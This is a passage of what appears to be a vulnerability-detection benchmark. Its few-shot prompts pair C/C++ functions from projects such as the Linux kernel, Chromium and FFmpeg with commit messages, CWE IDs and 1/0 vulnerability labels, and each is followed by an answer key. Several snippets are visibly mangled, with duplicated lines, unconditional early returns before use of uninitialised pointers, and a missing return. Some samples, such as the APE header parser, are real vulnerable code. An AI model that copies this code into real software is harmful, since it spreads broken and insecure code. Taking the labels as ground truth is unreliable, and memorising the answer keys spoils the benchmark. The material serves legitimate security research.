privilege escalation from user-writable directories via directory symlinks to privileged directories on package upgrade, while still allowing admin to arrange disk usage with symlinks. The rationale is that if you can create symlinks owned by user X you *are* user X (or root), and if you also own directory Y you can do whatever with it already, including change permissions. So when you create a symlink to that directory, the link ownership acts as a simple stamp of authority that you indeed want rpm to treat this symlink as it were the directory that you own. Such a permission can only be given by you or root, which is just the way we want it. Plus it's almost ridiculously simple as far as rules go, compared to trying to calculate something from the source vs destination directory permissions etc. In the normal case, the user arranging diskspace with symlinks is indeed root so nothing changes, the only real change here is to links created by non-privileged users which should be few and far between in practise. Unfortunately our test-suite runs as a regular user via fakechroot and thus the testcase for this fails under the new rules. Adjust the testcase to get the ownership straight and add a second case for the illegal behavior, basically the same as the old one but with different expectations. CWE ID: CWE-59 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void altivec_unavailable_exception(struct pt_regs *regs) { #if !defined(CONFIG_ALTIVEC) if (user_mode(regs)) { /* A user program has executed an altivec instruction, but this kernel doesn't support altivec. */ _exception(SIGILL, regs, ILL_ILLOPC, regs->nip); return; } #endif printk(KERN_EMERG "Unrecoverable VMX/Altivec Unavailable Exception " "%lx at %lx\n", regs->trap, regs->nip); die("Unrecoverable VMX/Altivec Unavailable Exception", regs, SIGABRT); } Commit Message: [POWERPC] Never panic when taking altivec exceptions from userspace At the moment we rely on a cpu feature bit or a firmware property to detect altivec. If we dont have either of these and the cpu does in fact support altivec we can cause a panic from userspace. It seems safer to always send a signal if we manage to get an 0xf20 exception from userspace. Signed-off-by: Anton Blanchard <[email protected]> Signed-off-by: Paul Mackerras <[email protected]> CWE ID: CWE-19 Target: 1 Example 2: Code: bool GetPacHttpsUrlStrippingEnabled() { network::mojom::NetworkContextParamsPtr network_context_params = g_browser_process->system_network_context_manager() ->CreateDefaultNetworkContextParams(); return !network_context_params->dangerously_allow_pac_access_to_secure_urls; } Commit Message: Enforce the WebUsbAllowDevicesForUrls policy This change modifies UsbChooserContext to use the UsbAllowDevicesForUrls class to consider devices allowed by the WebUsbAllowDevicesForUrls policy. The WebUsbAllowDevicesForUrls policy overrides the other WebUSB policies. Unit tests are also added to ensure that the policy is being enforced correctly. The design document for this feature is found at: https://docs.google.com/document/d/1MPvsrWiVD_jAC8ELyk8njFpy6j1thfVU5aWT3TCWE8w Bug: 854329 Change-Id: I5f82e662ca9dc544da5918eae766b5535a31296b Reviewed-on: https://chromium-review.googlesource.com/c/1259289 Commit-Queue: Ovidio Henriquez <[email protected]> Reviewed-by: Reilly Grant <[email protected]> Reviewed-by: Julian Pastarmov <[email protected]> Cr-Commit-Position: refs/heads/master@{#597926} CWE ID: CWE-119 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void IRCView::appendAction(const QString& nick, const QString& message) { QString actionColor = Preferences::self()->color(Preferences::ActionMessage).name(); QString line; QString nickLine = createNickLine(nick, actionColor, false); if (message.isEmpty()) { if (!QApplication::isLeftToRight()) line += LRE; line += "<font color=\"" + actionColor + "\">%1 * " + nickLine + "</font>"; line = line.arg(timeStamp(), nick); emit textToLog(QString("\t * %1").arg(nick)); doAppend(line, false); } else { QChar::Direction dir; QString text(filter(message, actionColor, nick, true,true, false, &dir)); bool rtl = (dir == QChar::DirR); if (rtl) { line = RLE; line += LRE; line += "<font color=\"" + actionColor + "\">" + nickLine + " * %1" + PDF + " %3</font>"; } else { if (!QApplication::isLeftToRight()) line += LRE; line += "<font color=\"" + actionColor + "\">%1 * " + nickLine + " %3</font>"; } line = line.arg(timeStamp(), nick, text); emit textToLog(QString("\t * %1 %2").arg(nick, message)); doAppend(line, rtl); } } Commit Message: CWE ID: Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: _XcursorReadImage (XcursorFile *file, XcursorFileHeader *fileHeader, int toc) { XcursorChunkHeader chunkHeader; XcursorImage head; XcursorImage *image; int n; XcursorPixel *p; if (!file || !fileHeader) return NULL; if (!_XcursorFileReadChunkHeader (file, fileHeader, toc, &chunkHeader)) return NULL; if (!_XcursorReadUInt (file, &head.width)) return NULL; if (!_XcursorReadUInt (file, &head.height)) return NULL; if (!_XcursorReadUInt (file, &head.xhot)) return NULL; if (!_XcursorReadUInt (file, &head.yhot)) return NULL; if (!_XcursorReadUInt (file, &head.delay)) return NULL; /* sanity check data */ if (head.width >= 0x10000 || head.height > 0x10000) return NULL; if (!_XcursorReadUInt (file, &head.delay)) return NULL; /* sanity check data */ if (head.width >= 0x10000 || head.height > 0x10000) return NULL; if (head.width == 0 || head.height == 0) return NULL; return NULL; if (chunkHeader.version < image->version) image->version = chunkHeader.version; image->size = chunkHeader.subtype; image->xhot = head.xhot; image->yhot = head.yhot; image->delay = head.delay; n = image->width * image->height; p = image->pixels; while (n--) { if (!_XcursorReadUInt (file, p)) { XcursorImageDestroy (image); return NULL; } p++; } return image; } Commit Message: CWE ID: CWE-190 Target: 1 Example 2: Code: check_for_exec(const_os_ptr op) { if (!r_has_attr(op, a_execute) && /* only true if noaccess */ ref_type_uses_access(r_type(op)) && (r_has_attr(op, a_executable) || !r_has_type(op, t_dictionary)) ) { return_error(gs_error_invalidaccess); } return 0; } Commit Message: CWE ID: CWE-200 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: InputMethodDescriptors* ChromeOSGetSupportedInputMethodDescriptors() { InputMethodDescriptors* input_methods = new InputMethodDescriptors; for (size_t i = 0; i < arraysize(chromeos::kIBusEngines); ++i) { if (InputMethodIdIsWhitelisted(chromeos::kIBusEngines[i].name)) { input_methods->push_back(chromeos::CreateInputMethodDescriptor( chromeos::kIBusEngines[i].name, chromeos::kIBusEngines[i].longname, chromeos::kIBusEngines[i].layout, chromeos::kIBusEngines[i].language)); } } return input_methods; } Commit Message: Remove use of libcros from InputMethodLibrary. BUG=chromium-os:16238 TEST==confirm that input methods work as before on the netbook. Also confirm that the chrome builds and works on the desktop as before. Review URL: http://codereview.chromium.org/7003086 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@89142 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-399 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static int simulate_rdhwr(struct pt_regs *regs, unsigned int opcode) { struct thread_info *ti = task_thread_info(current); if ((opcode & OPCODE) == SPEC3 && (opcode & FUNC) == RDHWR) { int rd = (opcode & RD) >> 11; int rt = (opcode & RT) >> 16; perf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, 0, regs, 0); switch (rd) { case 0: /* CPU number */ regs->regs[rt] = smp_processor_id(); return 0; case 1: /* SYNCI length */ regs->regs[rt] = min(current_cpu_data.dcache.linesz, current_cpu_data.icache.linesz); return 0; case 2: /* Read count register */ regs->regs[rt] = read_c0_count(); return 0; case 3: /* Count register resolution */ switch (current_cpu_data.cputype) { case CPU_20KC: case CPU_25KF: regs->regs[rt] = 1; break; default: regs->regs[rt] = 2; } return 0; case 29: regs->regs[rt] = ti->tp_value; return 0; default: return -1; } } /* Not ours. */ return -1; } Commit Message: perf: Remove the nmi parameter from the swevent and overflow interface The nmi parameter indicated if we could do wakeups from the current context, if not, we would set some state and self-IPI and let the resulting interrupt do the wakeup. For the various event classes: - hardware: nmi=0; PMI is in fact an NMI or we run irq_work_run from the PMI-tail (ARM etc.) - tracepoint: nmi=0; since tracepoint could be from NMI context. - software: nmi=[0,1]; some, like the schedule thing cannot perform wakeups, and hence need 0. As one can see, there is very little nmi=1 usage, and the down-side of not using it is that on some platforms some software events can have a jiffy delay in wakeup (when arch_irq_work_raise isn't implemented). The up-side however is that we can remove the nmi parameter and save a bunch of conditionals in fast paths. Signed-off-by: Peter Zijlstra <[email protected]> Cc: Michael Cree <[email protected]> Cc: Will Deacon <[email protected]> Cc: Deng-Cheng Zhu <[email protected]> Cc: Anton Blanchard <[email protected]> Cc: Eric B Munson <[email protected]> Cc: Heiko Carstens <[email protected]> Cc: Paul Mundt <[email protected]> Cc: David S. Miller <[email protected]> Cc: Frederic Weisbecker <[email protected]> Cc: Jason Wessel <[email protected]> Cc: Don Zickus <[email protected]> Link: http://lkml.kernel.org/n/[email protected] Signed-off-by: Ingo Molnar <[email protected]> CWE ID: CWE-399 Target: 1 Example 2: Code: void Browser::FocusChromeOSStatus() { UserMetrics::RecordAction(UserMetricsAction("FocusChromeOSStatus")); window_->FocusChromeOSStatus(); } Commit Message: Implement a bubble that appears at the top of the screen when a tab enters fullscreen mode via webkitRequestFullScreen(), telling the user how to exit fullscreen. This is implemented as an NSView rather than an NSWindow because the floating chrome that appears in presentation mode should overlap the bubble. Content-initiated fullscreen mode makes use of 'presentation mode' on the Mac: the mode in which the UI is hidden, accessible by moving the cursor to the top of the screen. On Snow Leopard, this mode is synonymous with fullscreen mode. On Lion, however, fullscreen mode does not imply presentation mode: in non-presentation fullscreen mode, the chrome is permanently shown. It is possible to switch between presentation mode and fullscreen mode using the presentation mode UI control. When a tab initiates fullscreen mode on Lion, we enter presentation mode if not in presentation mode already. When the user exits fullscreen mode using Chrome UI (i.e. keyboard shortcuts, menu items, buttons, switching tabs, etc.) we return the user to the mode they were in before the tab entered fullscreen. BUG=14471 TEST=Enter fullscreen mode using webkitRequestFullScreen. You should see a bubble pop down from the top of the screen. Need to test the Lion logic somehow, with no Lion trybots. BUG=96883 Original review http://codereview.chromium.org/7890056/ TBR=thakis Review URL: http://codereview.chromium.org/7920024 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@101624 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-119 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void ChromeRenderProcessObserver::OnSetFieldTrialGroup( const std::string& field_trial_name, const std::string& group_name) { base::FieldTrialList::CreateFieldTrial(field_trial_name, group_name); chrome_variations::SetChildProcessLoggingVariationList(); } Commit Message: Disable tcmalloc profile files. BUG=154983 [email protected] NOTRY=true Review URL: https://chromiumcodereview.appspot.com/11087041 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@161048 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-399 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: ProcXFixesSetCursorName(ClientPtr client) { CursorPtr pCursor; char *tchar; REQUEST(xXFixesSetCursorNameReq); REQUEST(xXFixesSetCursorNameReq); Atom atom; REQUEST_AT_LEAST_SIZE(xXFixesSetCursorNameReq); VERIFY_CURSOR(pCursor, stuff->cursor, client, DixSetAttrAccess); tchar = (char *) &stuff[1]; atom = MakeAtom(tchar, stuff->nbytes, TRUE); return BadAlloc; pCursor->name = atom; return Success; } Commit Message: CWE ID: CWE-20 Target: 1 Example 2: Code: int ext4_da_get_block_prep(struct inode *inode, sector_t iblock, struct buffer_head *bh, int create) { struct ext4_map_blocks map; int ret = 0; BUG_ON(create == 0); BUG_ON(bh->b_size != inode->i_sb->s_blocksize); map.m_lblk = iblock; map.m_len = 1; /* * first, we need to know whether the block is allocated already * preallocated blocks are unmapped but should treated * the same as allocated blocks. */ ret = ext4_da_map_blocks(inode, iblock, &map, bh); if (ret <= 0) return ret; map_bh(bh, inode->i_sb, map.m_pblk); bh->b_state = (bh->b_state & ~EXT4_MAP_FLAGS) | map.m_flags; if (buffer_unwritten(bh)) { /* A delayed write to unwritten bh should be marked * new and mapped. Mapped ensures that we don't do * get_block multiple times when we write to the same * offset and new ensures that we do proper zero out * for partial write. */ set_buffer_new(bh); set_buffer_mapped(bh); } return 0; } Commit Message: ext4: fix races between page faults and hole punching Currently, page faults and hole punching are completely unsynchronized. This can result in page fault faulting in a page into a range that we are punching after truncate_pagecache_range() has been called and thus we can end up with a page mapped to disk blocks that will be shortly freed. Filesystem corruption will shortly follow. Note that the same race is avoided for truncate by checking page fault offset against i_size but there isn't similar mechanism available for punching holes. Fix the problem by creating new rw semaphore i_mmap_sem in inode and grab it for writing over truncate, hole punching, and other functions removing blocks from extent tree and for read over page faults. We cannot easily use i_data_sem for this since that ranks below transaction start and we need something ranking above it so that it can be held over the whole truncate / hole punching operation. Also remove various workarounds we had in the code to reduce race window when page fault could have created pages with stale mapping information. Signed-off-by: Jan Kara <[email protected]> Signed-off-by: Theodore Ts'o <[email protected]> CWE ID: CWE-362 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: SMB2_oplock_break(const unsigned int xid, struct cifs_tcon *tcon, const u64 persistent_fid, const u64 volatile_fid, __u8 oplock_level) { int rc; struct smb2_oplock_break *req = NULL; int flags = CIFS_OBREAK_OP; cifs_dbg(FYI, "SMB2_oplock_break\n"); rc = small_smb2_init(SMB2_OPLOCK_BREAK, tcon, (void **) &req); if (rc) return rc; if (encryption_required(tcon)) flags |= CIFS_TRANSFORM_REQ; req->VolatileFid = volatile_fid; req->PersistentFid = persistent_fid; req->OplockLevel = oplock_level; req->hdr.sync_hdr.CreditRequest = cpu_to_le16(1); rc = SendReceiveNoRsp(xid, tcon->ses, (char *) req, flags); cifs_small_buf_release(req); if (rc) { cifs_stats_fail_inc(tcon, SMB2_OPLOCK_BREAK_HE); cifs_dbg(FYI, "Send error in Oplock Break = %d\n", rc); } return rc; } Commit Message: CIFS: Enable encryption during session setup phase In order to allow encryption on SMB connection we need to exchange a session key and generate encryption and decryption keys. Signed-off-by: Pavel Shilovsky <[email protected]> CWE ID: CWE-476 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void BluetoothDeviceChromeOS::CancelPairing() { if (!RunPairingCallbacks(CANCELLED)) { DBusThreadManager::Get()->GetBluetoothDeviceClient()-> CancelPairing( object_path_, base::Bind(&base::DoNothing), base::Bind(&BluetoothDeviceChromeOS::OnCancelPairingError, weak_ptr_factory_.GetWeakPtr())); UnregisterAgent(); } } Commit Message: Refactor to support default Bluetooth pairing delegate In order to support a default pairing delegate we need to move the agent service provider delegate implementation from BluetoothDevice to BluetoothAdapter while retaining the existing API. BUG=338492 TEST=device_unittests, unit_tests, browser_tests Review URL: https://codereview.chromium.org/148293003 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@252216 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: Target: 1 Example 2: Code: ScriptValue WebGL2RenderingContextBase::getParameter(ScriptState* script_state, GLenum pname) { if (isContextLost()) return ScriptValue::CreateNull(script_state); switch (pname) { case GL_SHADING_LANGUAGE_VERSION: { return WebGLAny( script_state, "WebGL GLSL ES 3.00 (" + String(ContextGL()->GetString(GL_SHADING_LANGUAGE_VERSION)) + ")"); } case GL_VERSION: return WebGLAny( script_state, "WebGL 2.0 (" + String(ContextGL()->GetString(GL_VERSION)) + ")"); case GL_COPY_READ_BUFFER_BINDING: return WebGLAny(script_state, bound_copy_read_buffer_.Get()); case GL_COPY_WRITE_BUFFER_BINDING: return WebGLAny(script_state, bound_copy_write_buffer_.Get()); case GL_DRAW_FRAMEBUFFER_BINDING: return WebGLAny(script_state, framebuffer_binding_.Get()); case GL_FRAGMENT_SHADER_DERIVATIVE_HINT: return GetUnsignedIntParameter(script_state, pname); case GL_MAX_3D_TEXTURE_SIZE: return GetIntParameter(script_state, pname); case GL_MAX_ARRAY_TEXTURE_LAYERS: return GetIntParameter(script_state, pname); case GC3D_MAX_CLIENT_WAIT_TIMEOUT_WEBGL: return WebGLAny(script_state, kMaxClientWaitTimeout); case GL_MAX_COLOR_ATTACHMENTS: return GetIntParameter(script_state, pname); case GL_MAX_COMBINED_FRAGMENT_UNIFORM_COMPONENTS: return GetInt64Parameter(script_state, pname); case GL_MAX_COMBINED_UNIFORM_BLOCKS: return GetIntParameter(script_state, pname); case GL_MAX_COMBINED_VERTEX_UNIFORM_COMPONENTS: return GetInt64Parameter(script_state, pname); case GL_MAX_DRAW_BUFFERS: return GetIntParameter(script_state, pname); case GL_MAX_ELEMENT_INDEX: return GetInt64Parameter(script_state, pname); case GL_MAX_ELEMENTS_INDICES: return GetIntParameter(script_state, pname); case GL_MAX_ELEMENTS_VERTICES: return GetIntParameter(script_state, pname); case GL_MAX_FRAGMENT_INPUT_COMPONENTS: return GetIntParameter(script_state, pname); case GL_MAX_FRAGMENT_UNIFORM_BLOCKS: return GetIntParameter(script_state, pname); case GL_MAX_FRAGMENT_UNIFORM_COMPONENTS: return GetIntParameter(script_state, pname); case GL_MAX_PROGRAM_TEXEL_OFFSET: return GetIntParameter(script_state, pname); case GL_MAX_SAMPLES: return GetIntParameter(script_state, pname); case GL_MAX_SERVER_WAIT_TIMEOUT: return GetInt64Parameter(script_state, pname); case GL_MAX_TEXTURE_LOD_BIAS: return GetFloatParameter(script_state, pname); case GL_MAX_TRANSFORM_FEEDBACK_INTERLEAVED_COMPONENTS: return GetIntParameter(script_state, pname); case GL_MAX_TRANSFORM_FEEDBACK_SEPARATE_ATTRIBS: return GetIntParameter(script_state, pname); case GL_MAX_TRANSFORM_FEEDBACK_SEPARATE_COMPONENTS: return GetIntParameter(script_state, pname); case GL_MAX_UNIFORM_BLOCK_SIZE: return GetInt64Parameter(script_state, pname); case GL_MAX_UNIFORM_BUFFER_BINDINGS: return GetIntParameter(script_state, pname); case GL_MAX_VARYING_COMPONENTS: return GetIntParameter(script_state, pname); case GL_MAX_VERTEX_OUTPUT_COMPONENTS: return GetIntParameter(script_state, pname); case GL_MAX_VERTEX_UNIFORM_BLOCKS: return GetIntParameter(script_state, pname); case GL_MAX_VERTEX_UNIFORM_COMPONENTS: return GetIntParameter(script_state, pname); case GL_MIN_PROGRAM_TEXEL_OFFSET: return GetIntParameter(script_state, pname); case GL_PACK_ROW_LENGTH: return GetIntParameter(script_state, pname); case GL_PACK_SKIP_PIXELS: return GetIntParameter(script_state, pname); case GL_PACK_SKIP_ROWS: return GetIntParameter(script_state, pname); case GL_PIXEL_PACK_BUFFER_BINDING: return WebGLAny(script_state, bound_pixel_pack_buffer_.Get()); case GL_PIXEL_UNPACK_BUFFER_BINDING: return WebGLAny(script_state, bound_pixel_unpack_buffer_.Get()); case GL_RASTERIZER_DISCARD: return GetBooleanParameter(script_state, pname); case GL_READ_BUFFER: { GLenum value = 0; if (!isContextLost()) { WebGLFramebuffer* read_framebuffer_binding = GetFramebufferBinding(GL_READ_FRAMEBUFFER); if (!read_framebuffer_binding) value = read_buffer_of_default_framebuffer_; else value = read_framebuffer_binding->GetReadBuffer(); } return WebGLAny(script_state, value); } case GL_READ_FRAMEBUFFER_BINDING: return WebGLAny(script_state, read_framebuffer_binding_.Get()); case GL_SAMPLER_BINDING: return WebGLAny(script_state, sampler_units_[active_texture_unit_].Get()); case GL_TEXTURE_BINDING_2D_ARRAY: return WebGLAny( script_state, texture_units_[active_texture_unit_].texture2d_array_binding_.Get()); case GL_TEXTURE_BINDING_3D: return WebGLAny( script_state, texture_units_[active_texture_unit_].texture3d_binding_.Get()); case GL_TRANSFORM_FEEDBACK_ACTIVE: return GetBooleanParameter(script_state, pname); case GL_TRANSFORM_FEEDBACK_BUFFER_BINDING: return WebGLAny( script_state, transform_feedback_binding_->GetBoundTransformFeedbackBuffer()); case GL_TRANSFORM_FEEDBACK_BINDING: if (!transform_feedback_binding_->IsDefaultObject()) { return WebGLAny(script_state, transform_feedback_binding_.Get()); } return ScriptValue::CreateNull(script_state); case GL_TRANSFORM_FEEDBACK_PAUSED: return GetBooleanParameter(script_state, pname); case GL_UNIFORM_BUFFER_BINDING: return WebGLAny(script_state, bound_uniform_buffer_.Get()); case GL_UNIFORM_BUFFER_OFFSET_ALIGNMENT: return GetIntParameter(script_state, pname); case GL_UNPACK_IMAGE_HEIGHT: return GetIntParameter(script_state, pname); case GL_UNPACK_ROW_LENGTH: return GetIntParameter(script_state, pname); case GL_UNPACK_SKIP_IMAGES: return GetIntParameter(script_state, pname); case GL_UNPACK_SKIP_PIXELS: return GetIntParameter(script_state, pname); case GL_UNPACK_SKIP_ROWS: return GetIntParameter(script_state, pname); case GL_TIMESTAMP_EXT: if (ExtensionEnabled(kEXTDisjointTimerQueryWebGL2Name)) { return WebGLAny(script_state, 0); } SynthesizeGLError(GL_INVALID_ENUM, "getParameter", "invalid parameter name, " "EXT_disjoint_timer_query_webgl2 not enabled"); return ScriptValue::CreateNull(script_state); case GL_GPU_DISJOINT_EXT: if (ExtensionEnabled(kEXTDisjointTimerQueryWebGL2Name)) { return GetBooleanParameter(script_state, GL_GPU_DISJOINT_EXT); } SynthesizeGLError(GL_INVALID_ENUM, "getParameter", "invalid parameter name, " "EXT_disjoint_timer_query_webgl2 not enabled"); return ScriptValue::CreateNull(script_state); default: return WebGLRenderingContextBase::getParameter(script_state, pname); } } Commit Message: Reset ES3 pixel pack parameters and PIXEL_PACK_BUFFER binding in DrawingBuffer before ReadPixels() and recover them later. BUG=740603 TEST=new conformance test [email protected],[email protected] Change-Id: I3ea54c6cc34f34e249f7c8b9f792d93c5e1958f4 Reviewed-on: https://chromium-review.googlesource.com/570840 Reviewed-by: Antoine Labour <[email protected]> Reviewed-by: Kenneth Russell <[email protected]> Commit-Queue: Zhenyao Mo <[email protected]> Cr-Commit-Position: refs/heads/master@{#486518} CWE ID: CWE-119 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static int ape_read_header(AVFormatContext * s, AVFormatParameters * ap) { AVIOContext *pb = s->pb; APEContext *ape = s->priv_data; AVStream *st; uint32_t tag; int i; int total_blocks; int64_t pts; /* TODO: Skip any leading junk such as id3v2 tags */ ape->junklength = 0; tag = avio_rl32(pb); if (tag != MKTAG('M', 'A', 'C', ' ')) return -1; ape->fileversion = avio_rl16(pb); if (ape->fileversion < APE_MIN_VERSION || ape->fileversion > APE_MAX_VERSION) { av_log(s, AV_LOG_ERROR, "Unsupported file version - %d.%02d\n", ape->fileversion / 1000, (ape->fileversion % 1000) / 10); return -1; } if (ape->fileversion >= 3980) { ape->padding1 = avio_rl16(pb); ape->descriptorlength = avio_rl32(pb); ape->headerlength = avio_rl32(pb); ape->seektablelength = avio_rl32(pb); ape->wavheaderlength = avio_rl32(pb); ape->audiodatalength = avio_rl32(pb); ape->audiodatalength_high = avio_rl32(pb); ape->wavtaillength = avio_rl32(pb); avio_read(pb, ape->md5, 16); /* Skip any unknown bytes at the end of the descriptor. This is for future compatibility */ if (ape->descriptorlength > 52) avio_seek(pb, ape->descriptorlength - 52, SEEK_CUR); /* Read header data */ ape->compressiontype = avio_rl16(pb); ape->formatflags = avio_rl16(pb); ape->blocksperframe = avio_rl32(pb); ape->finalframeblocks = avio_rl32(pb); ape->totalframes = avio_rl32(pb); ape->bps = avio_rl16(pb); ape->channels = avio_rl16(pb); ape->samplerate = avio_rl32(pb); } else { ape->descriptorlength = 0; ape->headerlength = 32; ape->compressiontype = avio_rl16(pb); ape->formatflags = avio_rl16(pb); ape->channels = avio_rl16(pb); ape->samplerate = avio_rl32(pb); ape->wavheaderlength = avio_rl32(pb); ape->wavtaillength = avio_rl32(pb); ape->totalframes = avio_rl32(pb); ape->finalframeblocks = avio_rl32(pb); if (ape->formatflags & MAC_FORMAT_FLAG_HAS_PEAK_LEVEL) { avio_seek(pb, 4, SEEK_CUR); /* Skip the peak level */ ape->headerlength += 4; } if (ape->formatflags & MAC_FORMAT_FLAG_HAS_SEEK_ELEMENTS) { ape->seektablelength = avio_rl32(pb); ape->headerlength += 4; ape->seektablelength *= sizeof(int32_t); } else ape->seektablelength = ape->totalframes * sizeof(int32_t); if (ape->formatflags & MAC_FORMAT_FLAG_8_BIT) ape->bps = 8; else if (ape->formatflags & MAC_FORMAT_FLAG_24_BIT) ape->bps = 24; else ape->bps = 16; if (ape->fileversion >= 3950) ape->blocksperframe = 73728 * 4; else if (ape->fileversion >= 3900 || (ape->fileversion >= 3800 && ape->compressiontype >= 4000)) ape->blocksperframe = 73728; else ape->blocksperframe = 9216; /* Skip any stored wav header */ if (!(ape->formatflags & MAC_FORMAT_FLAG_CREATE_WAV_HEADER)) avio_seek(pb, ape->wavheaderlength, SEEK_CUR); } if(ape->totalframes > UINT_MAX / sizeof(APEFrame)){ av_log(s, AV_LOG_ERROR, "Too many frames: %d\n", ape->totalframes); return -1; } ape->frames = av_malloc(ape->totalframes * sizeof(APEFrame)); if(!ape->frames) return AVERROR(ENOMEM); ape->firstframe = ape->junklength + ape->descriptorlength + ape->headerlength + ape->seektablelength + ape->wavheaderlength; ape->currentframe = 0; ape->totalsamples = ape->finalframeblocks; if (ape->totalframes > 1) ape->totalsamples += ape->blocksperframe * (ape->totalframes - 1); if (ape->seektablelength > 0) { ape->seektable = av_malloc(ape->seektablelength); for (i = 0; i < ape->seektablelength / sizeof(uint32_t); i++) ape->seektable[i] = avio_rl32(pb); } ape->frames[0].pos = ape->firstframe; ape->frames[0].nblocks = ape->blocksperframe; ape->frames[0].skip = 0; for (i = 1; i < ape->totalframes; i++) { ape->frames[i].pos = ape->seektable[i]; //ape->frames[i-1].pos + ape->blocksperframe; ape->frames[i].nblocks = ape->blocksperframe; ape->frames[i - 1].size = ape->frames[i].pos - ape->frames[i - 1].pos; ape->frames[i].skip = (ape->frames[i].pos - ape->frames[0].pos) & 3; } ape->frames[ape->totalframes - 1].size = ape->finalframeblocks * 4; ape->frames[ape->totalframes - 1].nblocks = ape->finalframeblocks; for (i = 0; i < ape->totalframes; i++) { if(ape->frames[i].skip){ ape->frames[i].pos -= ape->frames[i].skip; ape->frames[i].size += ape->frames[i].skip; } ape->frames[i].size = (ape->frames[i].size + 3) & ~3; } ape_dumpinfo(s, ape); /* try to read APE tags */ if (!url_is_streamed(pb)) { ff_ape_parse_tag(s); avio_seek(pb, 0, SEEK_SET); } av_log(s, AV_LOG_DEBUG, "Decoding file - v%d.%02d, compression level %d\n", ape->fileversion / 1000, (ape->fileversion % 1000) / 10, ape->compressiontype); /* now we are ready: build format streams */ st = av_new_stream(s, 0); if (!st) return -1; total_blocks = (ape->totalframes == 0) ? 0 : ((ape->totalframes - 1) * ape->blocksperframe) + ape->finalframeblocks; st->codec->codec_type = AVMEDIA_TYPE_AUDIO; st->codec->codec_id = CODEC_ID_APE; st->codec->codec_tag = MKTAG('A', 'P', 'E', ' '); st->codec->channels = ape->channels; st->codec->sample_rate = ape->samplerate; st->codec->bits_per_coded_sample = ape->bps; st->codec->frame_size = MAC_SUBFRAME_SIZE; st->nb_frames = ape->totalframes; st->start_time = 0; st->duration = total_blocks / MAC_SUBFRAME_SIZE; av_set_pts_info(st, 64, MAC_SUBFRAME_SIZE, ape->samplerate); st->codec->extradata = av_malloc(APE_EXTRADATA_SIZE); st->codec->extradata_size = APE_EXTRADATA_SIZE; AV_WL16(st->codec->extradata + 0, ape->fileversion); AV_WL16(st->codec->extradata + 2, ape->compressiontype); AV_WL16(st->codec->extradata + 4, ape->formatflags); pts = 0; for (i = 0; i < ape->totalframes; i++) { ape->frames[i].pts = pts; av_add_index_entry(st, ape->frames[i].pos, ape->frames[i].pts, 0, 0, AVINDEX_KEYFRAME); pts += ape->blocksperframe / MAC_SUBFRAME_SIZE; } return 0; } Commit Message: Do not attempt to decode APE file with no frames This fixes invalid reads/writes with this sample: http://packetstorm.linuxsecurity.com/1103-exploits/vlc105-dos.txt CWE ID: CWE-399 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: int RAND_DRBG_generate(RAND_DRBG *drbg, unsigned char *out, size_t outlen, int prediction_resistance, const unsigned char *adin, size_t adinlen) { int reseed_required = 0; if (drbg->state != DRBG_READY) { rand_drbg_restart(drbg, NULL, 0, 0); if (drbg->state == DRBG_ERROR) { RANDerr(RAND_F_RAND_DRBG_GENERATE, RAND_R_IN_ERROR_STATE); return 0; } if (drbg->state == DRBG_UNINITIALISED) { RANDerr(RAND_F_RAND_DRBG_GENERATE, RAND_R_NOT_INSTANTIATED); return 0; } } if (outlen > drbg->max_request) { RANDerr(RAND_F_RAND_DRBG_GENERATE, RAND_R_REQUEST_TOO_LARGE_FOR_DRBG); return 0; } if (adinlen > drbg->max_adinlen) { RANDerr(RAND_F_RAND_DRBG_GENERATE, RAND_R_ADDITIONAL_INPUT_TOO_LONG); return 0; return 0; } if (drbg->fork_count != rand_fork_count) { drbg->fork_count = rand_fork_count; reseed_required = 1; } } Commit Message: CWE ID: CWE-330 Target: 1 Example 2: Code: static int get_aligned_image_size(struct spl_load_info *info, int data_size, int offset) { data_size = data_size + get_aligned_image_overhead(info, offset); if (info->filename) return data_size; return (data_size + info->bl_len - 1) / info->bl_len; } Commit Message: Merge branch '2020-01-22-master-imports' - Re-add U8500 platform support - Add bcm968360bg support - Assorted Keymile fixes - Other assorted bugfixes CWE ID: CWE-787 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void btif_hl_select_monitor_callback(fd_set *p_cur_set ,fd_set 